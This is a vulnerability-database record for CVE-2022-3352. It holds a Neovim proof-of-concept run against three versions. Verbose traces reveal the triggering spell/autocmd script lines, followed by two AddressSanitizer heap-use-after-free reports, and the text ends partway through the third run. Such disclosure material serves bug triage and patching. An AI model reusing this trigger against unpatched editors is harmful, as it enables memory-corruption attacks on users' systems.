{"uuid": "2445d465-1f2f-4ebb-8040-901251691196", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3352", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/020dd32768360bdb72d0b9fe4d169dcc", "content": "Command:\n./nvim-0.8.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: n0\n\nline 1: unlet! b:keymap_name\n\nline 2: au SpellFileMissing 0 bw\n\nline 3: cal assert_fails('se spell spelllang=0')\n\nline 3: se spell spelllang=0\n\nSearching for \"spell/en.utf-8.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/en.utf-8.spl\"\nReading spell file \"/usr/local/share/nvim/runtime/spell/en.utf-8.spl\"\nSearching for \"spell/en.utf-8.add.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/en.utf-8.add.spl\"\nReading spell file \"/usr/local/share/nvim/runtime/spell/en.utf-8.add.spl\"\nSearching for \"/usr/local/lib/nvim/spell/en.utf-8.add.spl\"\nSearching for \"spell/0.utf-8.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/0.utf-8.spl\"\nSearching for \"/usr/local/lib/nvim/spell/0.utf-8.spl\"\nnot found in runtime path: \"spell/0.utf-8.spl\"\nSearching for \"spell/0.ascii.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/0.ascii.spl\"\nSearching for \"/usr/local/lib/nvim/spell/0.ascii.spl\"\nnot found in runtime path: \"spell/0.ascii.spl\"\nExecuting SpellFileMissing Autocommands for \"0\"\nautocommand bw\n\nExecuting: bw\n\nExecuting: unlet! b:keymap_name\n\nSearching for \"spell/0.utf-8.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/0.utf-8.spl\"\nSearching for \"/usr/local/lib/nvim/spell/0.utf-8.spl\"\nnot found in runtime path: \"spell/0.utf-8.spl\"\nSearching for \"spell/0.ascii.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/0.ascii.spl\"\nSearching for \"/usr/local/lib/nvim/spell/0.ascii.spl\"\nnot found in runtime path: \"spell/0.ascii.spl\"\nline 3: autocmd VimEnter * call spellfile#LoadFile('0')|set spell\n=================================================================\n==68883==ERROR: AddressSanitizer: heap-use-after-free on address 0x627000002fd8 at pc 0x000000deb590 bp 0x7ffdc2c4bd90 sp 0x7ffdc2c4bd88\nREAD of size 8 at 0x627000002fd8 thread T0\n    #0 0xdeb58f in did_set_string_option /home/zzw/Desktop/neovim/build/../src/nvim/optionstr.c:1514:24\n    #1 0xdbb8aa in do_set_string /home/zzw/Desktop/neovim/build/../src/nvim/option.c:1060:15\n    #2 0xdad219 in do_set /home/zzw/Desktop/neovim/build/../src/nvim/option.c:1437:17\n    #3 0xda90b5 in ex_set /home/zzw/Desktop/neovim/build/../src/nvim/option.c:740:9\n    #4 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #5 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #6 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #7 0x981a93 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #8 0x10bc92b in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #9 0x86ccd8 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:205:3\n    #10 0x905f58 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #11 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #12 0x920517 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #13 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #14 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #15 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #16 0xf058d9 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #17 0xf02ab2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #18 0xf02810 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #19 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #20 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #21 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #22 0x981a93 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #23 0xb8b4f0 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #24 0xb80c42 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #25 0x7ffbd8f22082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #26 0x466f9d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.0-ASAN+0x466f9d)\n\n0x627000002fd8 is located 11992 bytes inside of 12320-byte region [0x627000000100,0x627000003120)\nfreed by thread T0 here:\n    #0 0x4df45d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.0-ASAN+0x4df45d)\n    #1 0xc69634 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:128:3\n    #2 0x69ecd7 in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1915:7\n    #3 0x6a20b6 in apply_autocmds /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1532:10\n    #4 0xfd1904 in spell_load_lang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:1529:14\n    #5 0xfcfa5a in did_set_spelllang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:1957:9\n    #6 0xfdd912 in did_set_spell_option /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:3624:18\n    #7 0xde5d4f in did_set_string_option /home/zzw/Desktop/neovim/build/../src/nvim/optionstr.c:1127:16\n    #8 0xdbb8aa in do_set_string /home/zzw/Desktop/neovim/build/../src/nvim/option.c:1060:15\n    #9 0xdad219 in do_set /home/zzw/Desktop/neovim/build/../src/nvim/option.c:1437:17\n    #10 0xda90b5 in ex_set /home/zzw/Desktop/neovim/build/../src/nvim/option.c:740:9\n    #11 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #12 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #13 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #14 0x981a93 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #15 0x10bc92b in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #16 0x86ccd8 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:205:3\n    #17 0x905f58 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #18 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #19 0x920517 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #20 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #21 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #22 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #23 0xf058d9 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #24 0xf02ab2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #25 0xf02810 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #26 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #27 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #28 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #29 0x981a93 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n\npreviously allocated by thread T0 here:\n    #0 0x4df852 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.0-ASAN+0x4df852)\n    #1 0xc696ce in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:142:15\n    #2 0x6b8629 in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1775:11\n    #3 0x1246b7a in win_alloc_firstwin /home/zzw/Desktop/neovim/build/../src/nvim/window.c:3911:14\n    #4 0x1246890 in win_alloc_first /home/zzw/Desktop/neovim/build/../src/nvim/window.c:3873:7\n    #5 0xb7ea7e in early_init /home/zzw/Desktop/neovim/build/../src/nvim/main.c:190:8\n    #6 0xb7f35e in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:257:3\n    #7 0x7ffbd8f22082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/optionstr.c:1514:24 in did_set_string_option\nShadow bytes around the buggy address:\n  0x0c4e7fff85a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff85b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff85c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff85d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff85e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4e7fff85f0: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd\n  0x0c4e7fff8600: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8610: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8620: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8640: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==68883==ABORTING\n\n\n\nCommand:\n./nvim-0.6.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: n0\n\nline 1: unlet! b:keymap_name\n\nline 2: au SpellFileMissing 0 bw\n\nline 3: cal assert_fails('se spell spelllang=0')\n\nline 3: se spell spelllang=0\n\nSearching for \"spell/en.utf-8.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/en.utf-8.spl\"\nReading spell file \"/usr/local/share/nvim/runtime/spell/en.utf-8.spl\"\nSearching for \"spell/en.utf-8.add.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/en.utf-8.add.spl\"\nReading spell file \"/usr/local/share/nvim/runtime/spell/en.utf-8.add.spl\"\nSearching for \"/usr/local/lib/nvim/spell/en.utf-8.add.spl\"\nSearching for \"spell/0.utf-8.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/0.utf-8.spl\"\nSearching for \"/usr/local/lib/nvim/spell/0.utf-8.spl\"\nnot found in runtime path: \"spell/0.utf-8.spl\"\nSearching for \"spell/0.ascii.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/0.ascii.spl\"\nSearching for \"/usr/local/lib/nvim/spell/0.ascii.spl\"\nnot found in runtime path: \"spell/0.ascii.spl\"\nExecuting SpellFileMissing Autocommands for \"0\"\nautocommand bw\n\nExecuting: bw\n\nExecuting: unlet! b:keymap_name\n\nSearching for \"spell/0.utf-8.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/0.utf-8.spl\"\nSearching for \"/usr/local/lib/nvim/spell/0.utf-8.spl\"\nnot found in runtime path: \"spell/0.utf-8.spl\"\nSearching for \"spell/0.ascii.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/0.ascii.spl\"\nSearching for \"/usr/local/lib/nvim/spell/0.ascii.spl\"\nnot found in runtime path: \"spell/0.ascii.spl\"\nline 3: autocmd VimEnter * call spellfile#LoadFile('0')|set spell\n=================================================================\n==68340==ERROR: AddressSanitizer: heap-use-after-free on address 0x627000003000 at pc 0x000000c9f0ac bp 0x7fff9c9b3010 sp 0x7fff9c9b3008\nREAD of size 8 at 0x627000003000 thread T0\n    #0 0xc9f0ab in did_set_string_option /home/zzw/Desktop/neovim/build/../src/nvim/option.c:3206:26\n    #1 0xc82ab7 in do_set /home/zzw/Desktop/neovim/build/../src/nvim/option.c:1623:24\n    #2 0x944984 in ex_set /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:9568:9\n    #3 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #4 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #5 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #6 0x76b0ab in assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6311:3\n    #7 0x81b99c in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:511:26\n    #8 0x7e52f8 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:198:3\n    #9 0x86f0b9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1593:15\n    #10 0x86cc15 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:459:11\n    #11 0x887924 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3008:9\n    #12 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #13 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #14 0x8e89fc in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #15 0x8e56d2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #16 0x8e5cb0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #17 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #18 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #19 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #20 0xabf9ae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #21 0xab7f96 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #22 0x7f2929bef082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #23 0x45df4d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x45df4d)\n\n0x627000003000 is located 12032 bytes inside of 12392-byte region [0x627000000100,0x627000003168)\nfreed by thread T0 here:\n    #0 0x4d640d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4d640d)\n    #1 0xb5f204 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:3\n    #2 0x65ca6a in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1656:7\n    #3 0x65faad in apply_autocmds /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1264:10\n    #4 0xec200d in spell_load_lang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:1685:14\n    #5 0xec01ba in did_set_spelllang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:2156:9\n    #6 0xcc1602 in did_set_spell_option /home/zzw/Desktop/neovim/build/../src/nvim/option.c:3736:18\n    #7 0xc99ad9 in did_set_string_option /home/zzw/Desktop/neovim/build/../src/nvim/option.c:2832:16\n    #8 0xc82ab7 in do_set /home/zzw/Desktop/neovim/build/../src/nvim/option.c:1623:24\n    #9 0x944984 in ex_set /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:9568:9\n    #10 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #11 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #12 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #13 0x76b0ab in assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6311:3\n    #14 0x81b99c in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:511:26\n    #15 0x7e52f8 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:198:3\n    #16 0x86f0b9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1593:15\n    #17 0x86cc15 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:459:11\n    #18 0x887924 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3008:9\n    #19 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #20 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #21 0x8e89fc in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #22 0x8e56d2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #23 0x8e5cb0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #24 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #25 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #26 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #27 0xabf9ae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #28 0xab7f96 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #29 0x7f2929bef082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4d6802 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4d6802)\n    #1 0xb5f29e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:136:15\n    #2 0x67005c in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1733:11\n    #3 0x10dc4aa in win_alloc_firstwin /home/zzw/Desktop/neovim/build/../src/nvim/window.c:3648:14\n    #4 0x10dc1c0 in win_alloc_first /home/zzw/Desktop/neovim/build/../src/nvim/window.c:3608:7\n    #5 0xab614d in early_init /home/zzw/Desktop/neovim/build/../src/nvim/main.c:181:8\n    #6 0xab6c9b in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:246:3\n    #7 0x7f2929bef082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/option.c:3206:26 in did_set_string_option\nShadow bytes around the buggy address:\n  0x0c4e7fff85b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff85c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff85d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff85e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff85f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4e7fff8600:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8610: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8620: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa\n  0x0c4e7fff8630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8640: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==68340==ABORTING\n\n\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: n0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3352)\n\"0\" [New File]\nline 1: unlet! b:keymap_name\n\nline 2: au SpellFileMissing 0 bw\n\nline 3: cal assert_fails('se spell spelllang=0')\n\nline 3: se spell spelllang=0\n\nSearching for \"spell/en.utf-8.spl\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/usr/local/share/nvim/runtime,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/en.utf-8.spl\"\nSearching for \"/etc/xdg/nvim/spell/en.utf-8.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/en.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/site/spell/en.utf-8.spl\"\nSearching for \"/usr/share/nvim/site/spell/en.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/runtime/spell/en.utf-8.spl\"\nReading spell file \"/usr/local/share/nvim/runtime/spell/en.utf-8.spl\"\nSearching for \"spell/en.utf-8.add.spl\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/usr/local/share/nvim/runtime,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/en.utf-8.add.spl\"\nSearching for \"/etc/xdg/nvim/spell/en.utf-8.add.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/en.utf-8.add.spl\"\nSearching for \"/usr/local/share/nvim/site/spell/en.utf-8.add.spl\"\nSearching for \"/usr/share/nvim/site/spell/en.utf-8.add.spl\"\nSearching for \"/usr/local/share/nvim/runtime/spell/en.utf-8.add.spl\"\nReading spell file \"/usr/local/share/nvim/runtime/spell/en.utf-8.add.spl\"\nSearching for \"/usr/share/nvim/site/after/spell/en.utf-8.add.spl\"\nSearching for \"/usr/local/share/nvim/site/after/spell/en.utf-8.add.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/after/spell/en.utf-8.add.spl\"\nSearching for \"/etc/xdg/nvim/after/spell/en.utf-8.add.spl\"\nSearching for \"/home/zzw/.config/nvim/after/spell/en.utf-8.add.spl\"\nSearching for \"spell/0.utf-8.spl\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/usr/local/share/nvim/runtime,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/0.utf-8.spl\"\nSearching for \"/etc/xdg/nvim/spell/0.utf-8.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/0.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/site/spell/0.utf-8.spl\"\nSearching for \"/usr/share/nvim/site/spell/0.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/runtime/spell/0.utf-8.spl\"\nSearching for \"/usr/share/nvim/site/after/spell/0.utf-8.spl\"\nSearching for 